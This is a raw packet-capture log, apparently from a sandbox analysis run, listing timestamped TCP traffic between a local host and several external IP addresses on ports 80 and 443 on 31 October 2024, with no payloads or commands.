Oct 31, 2024 01:18:20.378683090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378695011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378724098 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378731012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378937960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378957033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378971100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378978968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378983021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.378990889 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.378994942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379008055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379013062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379023075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379040003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379065990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379076958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379090071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379101992 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379110098 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379117012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379121065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379132986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379144907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379143953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379173994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379189014 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379201889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379214048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379224062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379240990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379256964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379281998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379292011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379306078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379343987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379343987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379431009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379442930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379452944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379477024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379494905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379561901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379580021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379590988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379600048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379601002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379612923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379621983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379636049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379647970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379658937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379694939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379714966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379725933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379736900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379736900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379738092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379738092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379738092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379750967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379755974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379765034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379775047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379789114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379801989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379812002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379818916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379822016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379831076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379837990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379848003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379853010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379861116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379869938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379878044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379879951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379909992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379937887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.379946947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379957914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.379982948 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380006075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380059004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380069971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380079031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380090952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380098104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380110025 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380135059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380145073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380156040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380166054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380177021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380182981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380183935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380193949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380193949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380212069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380215883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380233049 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380235910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380245924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380255938 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380270004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380275011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380281925 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380296946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380309105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380310059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380321980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380331993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380333900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380354881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380359888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380368948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380381107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380398035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380414963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380425930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380426884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380438089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380448103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380459070 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380465031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380475044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380485058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380485058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380501032 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380526066 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380570889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380584002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380594969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380610943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380631924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380635023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380644083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380667925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380676985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380681038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380697966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380697966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380711079 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380712032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380724907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380734921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380744934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380748987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380758047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380774975 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380800009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380810022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380820990 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380831957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380839109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380850077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380884886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380938053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380949974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380959988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380970955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.380978107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.380985022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381002903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381023884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381093979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381105900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381115913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381128073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381134987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381140947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381151915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381154060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381174088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381180048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381185055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381196976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381201982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381210089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381221056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381228924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381241083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381261110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381273031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381273985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381273985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381284952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381298065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381302118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381309032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381310940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381324053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.381340981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381350040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.381376982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.416256905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.416276932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.416289091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.416299105 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.416311026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.416330099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.416346073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.416357994 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.416366100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:20.416368961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.416383028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:20.416428089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:21.021801949 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:21.021847963 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:21.021927118 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:21.022424936 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:21.022453070 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:21.757481098 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:21.757559061 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:21.774435043 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:21.774458885 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:21.774652958 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:21.818891048 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:21.866698980 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:21.911345005 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.013253927 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:22.013276100 CET	443	49709	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:22.013335943 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:22.013719082 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:22.013731003 CET	443	49709	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:22.108685017 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.108704090 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.108711958 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.108720064 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.108743906 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.108777046 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.108797073 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.108849049 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.108849049 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.110661983 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.110677004 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.110754967 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.110766888 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.110814095 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.225667000 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.225740910 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.225769997 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.225831032 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.227107048 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.227169037 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.227190971 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.227251053 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.228157043 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.228172064 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.228244066 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.228254080 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.228293896 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.267389059 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.267401934 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.267458916 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.267476082 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.267508984 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.267519951 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.342967987 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.342983007 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.343082905 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.343099117 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.343148947 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.343833923 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.343847990 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.343913078 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.343919992 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.343966961 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.344613075 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.344625950 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.344692945 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.344701052 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.344741106 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.345344067 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.345356941 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.345428944 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.345436096 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.345499039 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.346260071 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.346273899 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.346343040 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.346350908 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.346410036 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.347196102 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.347210884 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.347274065 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.347280025 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.347330093 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.372859001 CET	49710	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:22.372900009 CET	443	49710	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:22.372978926 CET	49710	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:22.373184919 CET	49710	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:22.373199940 CET	443	49710	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:22.375011921 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:22.375026941 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:22.375094891 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:22.375268936 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:22.375279903 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:22.384336948 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.384351969 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.384418011 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.384427071 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.384464979 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.391951084 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.459203005 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.459249020 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.459297895 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.459346056 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.517998934 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.518023014 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.518038988 CET	49705	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:22.518045902 CET	443	49705	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:22.894334078 CET	443	49709	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:22.931700945 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:22.931710958 CET	443	49709	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:22.932585001 CET	443	49709	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:22.932821989 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.218528986 CET	443	49710	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.221462965 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.221568108 CET	443	49709	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.222353935 CET	49710	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.222383022 CET	443	49710	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.223258972 CET	443	49710	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.223695993 CET	49710	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.225013018 CET	49710	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.225070953 CET	443	49710	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.225318909 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.225336075 CET	443	49709	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.226166964 CET	49710	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.226176023 CET	443	49710	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.228148937 CET	49710	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.228192091 CET	443	49710	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.228295088 CET	443	49710	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.228362083 CET	49710	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.228362083 CET	49710	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.230415106 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.261542082 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.261552095 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.263197899 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.263571978 CET	49711	443	192.168.2.5	142.250.185.132
